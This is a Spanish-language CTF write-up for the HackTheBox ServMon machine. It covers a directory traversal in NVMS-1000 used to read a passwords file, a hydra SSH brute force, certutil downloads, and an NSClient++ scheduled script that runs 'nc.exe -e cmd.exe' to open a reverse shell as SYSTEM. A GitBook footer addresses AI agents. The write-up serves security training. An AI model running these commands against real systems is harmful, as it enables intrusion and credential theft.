> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md). # Guía de ServMon HackTheBox Explotación de ServMon a través de NVMS-1000 y NSClient++. {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Reconocimiento de red y enumeración FTP * Recorrido de directorios en NVMS-1000 * Escalada de privilegios en NSClient++ mediante scripts externos {% endhint %} ## Reconocimiento Crea un espacio de trabajo y confirma que el objetivo es accesible. ```bash mkdir {nmap,content,exploits,scripts} ping -c 1 10.129.227.77 ``` El TTL indica un host Windows.
Ejecuta un escaneo TCP completo. ```bash sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts ```
El escaneo identifica estos puertos abiertos: > 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670
Identifica los servicios y versiones expuestos. {% code overflow="wrap" %} ```bash nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted ``` {% endcode %} Los hallazgos relevantes son: {% code overflow="wrap" %} ```java # Nmap 7.93 scan initiated Wed Sep 23 10:50:11 2026 as: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77 Informe de escaneo de Nmap para 10.129.227.77 El host está activo (latencia de 0.030 s). PUERTO ESTADO SERVICIO VERSIÓN 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Se permite el inicio de sesión FTP anónimo (código FTP 230) |_02-28-22 07:35PM Users 22/tcp open ssh OpenSSH for_Windows_8.0 (protocolo 2.0) | ssh-hostkey: | 3072 c71af681ca1778d027dbcd462a092b54 (RSA) | 256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA) |_ 256 5a48c8cd39782129effbae821d03adaf (ED25519) 80/tcp open http | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | | | | | | | | | | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: |_http-title: El sitio no tiene título (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5666/tcp open tcpwrapped 6063/tcp open tcpwrapped 6699/tcp open napster? 8443/tcp open ssl/https-alt | http-title: NSClient++ |_Requested resource was /index.html |_ssl-date: La aleatoriedad de TLS no representa la hora | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 |_ Documento no encontrado | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | ssl-cert: Subject: commonName=localhost | Not valid before: 2020-01-14T13:24:20 |_Not valid after: 2021-01-13T13:24:20 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x SF:20\r\n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\ SF:x20\x20\x20\r\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2 SF:0\x20\x20\x20\r\n\r\n\r\n\r\n\r\n") SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\ SF:n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x SF:20\x20\r\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20 SF:\x20\x20\r\n\r\n\r\n\r\n\r\n")%r(RT SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n SF:\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x2 SF:0\r\n\x20\x20\x20\x20\x20\x20\x20\ SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\ SF:x20\r\n\r\n\r\n\r\n\r\n"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03 SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/ SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")% SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len SF:gth:\x2018\r\n\r\nDocument\x20not\x20found"); Información del servicio: SO: Windows; CPE: cpe:/o:microsoft:windows Resultados del script del host: | smb2-security-mode: | 311: |_ La firma de mensajes está habilitada pero no es obligatoria | smb2-time: | date: 2026-09-23T08:52:06 |_ start_date: N/A La detección de servicios se realizó. Siéntete libre de informar de cualquier resultado incorrecto en https://nmap.org/submit/ . # Nmap finalizado el Wed Sep 23 10:52:19 2026 -- 1 dirección IP (1 host activo) escaneada en 128.03 segundos ``` {% endcode %} ### Enumeración FTP El acceso FTP anónimo está habilitado. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.227.77 ``` {% endcode %}
El `Users/Nadine` el directorio contiene una nota para Nathan. {% code overflow="wrap" %} ```bash Nathan, Dejé tu archivo Passwords.txt en tu Escritorio. Por favor, elimínalo una vez que lo hayas editado tú mismo y colócalo de nuevo en la carpeta segura. Saludos Nadine ``` {% endcode %}
El directorio de Nathan contiene la siguiente lista de tareas: {% code overflow="wrap" %} ```bash 1) Cambiar la contraseña de NVMS - Completado 2) Restringir el acceso a NSClient - Completado 3) Subir las contraseñas 4) Eliminar el acceso público a NVMS 5) Colocar los archivos secretos en SharePoint ``` {% endcode %}
### Recorrido de directorios en NVMS-1000 Puerto `80` aloja NVMS-1000.
Searchsploit identifica una vulnerabilidad de recorrido de directorios. {% code overflow="wrap" %} ```bash searchsploit nvms 1000 ``` {% endcode %}
La siguiente prueba de concepto confirma la inclusión de archivos locales: {% embed url="" %} {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini ``` {% endcode %} La respuesta confirma que se pueden leer archivos locales arbitrarios.
Lee el archivo de contraseñas de Nathan: {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt ``` {% endcode %} > 1nsp3ctTh3Way2Mars!\ > Th3r34r3To0M4nyTrait0r5!\ > B3WithM30r4ga1n5tMe\ > L1k3B1gBut7s\@W0rk\ > 0nly7h3y0unGWi11F0l10w\ > IfH3s4b0Utg0t0H1sH0me\ > Gr4etN3w5w17hMySk1Pa5$
Prueba las contraseñas recuperadas contra los usuarios locales conocidos. 
hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
Esto identifica credenciales SSH válidas: * nadine * L1k3B1gBut7s\@W0rk
Conéctate por SSH como Nadine. {% code overflow="wrap" %} ```bash ssh nadine@10.129.227.77 ``` {% endcode %} Lee la flag de usuario. {% code overflow="wrap" %} ```bash type C:\Users\Nadine\Desktop\user.txt ``` {% endcode %}
## Escalada de privilegios con NSClient++ NSClient++ está instalado en `C:\Program Files`.
Muestra la contraseña de la interfaz web de NSClient++. {% code overflow="wrap" %} ```bash nscp web -- password --display ``` {% endcode %} * ew2x6SsGTxjRwXOT
La interfaz web escucha en el puerto `8443`. ### Configura un script externo de NSClient++ Esta técnica sigue la guía de explotación de NSClient++ publicada. {% embed url="" %} Confirma la versión instalada de NSClient++. {% code overflow="wrap" %} ```bash nscp --version ``` {% endcode %}
El servicio está enlazado localmente. Accede a él mediante un túnel SSH.
vamos a hacer reenvío de puertos {% code overflow="wrap" %} ```bash ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77 ``` {% endcode %} Abrir `https://127.0.0.1:8443` y autentícate con la contraseña recuperada.
Asegúrate de que estos módulos estén habilitados: ```bash CheckExternalScripts Scheduler ```
Transferir `nc.exe` y la carga útil al objetivo. {% code overflow="wrap" %} ```bash locate nc.exe mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe . python3 -m http.server 8081 ``` {% endcode %} En el objetivo, descarga ambos archivos: {% code overflow="wrap" %} ```bash certutil -urlcache -split -f "http://:8081/nc.exe" nc.exe certutil -urlcache -split -f "http://:8081/evil.bat" evil.bat ``` {% endcode %} Crear `evil.bat` en el objetivo: {% code overflow="wrap" %} ```bash @echo off C:\Users\Nadine\Desktop\nc.exe 443 -e cmd.exe ``` {% endcode %} Inicia un listener en el puerto `443`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 443 ``` {% endcode %}
Crea un script externo en la interfaz web de NSClient++: {% code overflow="wrap" %} ```bash Settings > External Scripts > Scripts Sección: /settings/external scripts/scripts/evil Clave: command Valor: C:\Users\Nadine\Desktop\evil.bat ``` {% endcode %}
Crea una programación en **Configuración → Programador → Programaciones**. Establece el intervalo: {% code overflow="wrap" %} ```bash Sección: /settings/scheduler/schedules/evil Clave: interval Valor: 1m ``` {% endcode %}
Configura el comando programado: {% code overflow="wrap" %} ```bash Sección: /settings/scheduler/schedules/evil Clave: command Valor: evil ``` {% endcode %}
Guarda la configuración y reinicia el servicio.
Ejecuta la consulta para activar el script programado. El listener recibe una shell como `SYSTEM`.
Lee la flag de root. {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.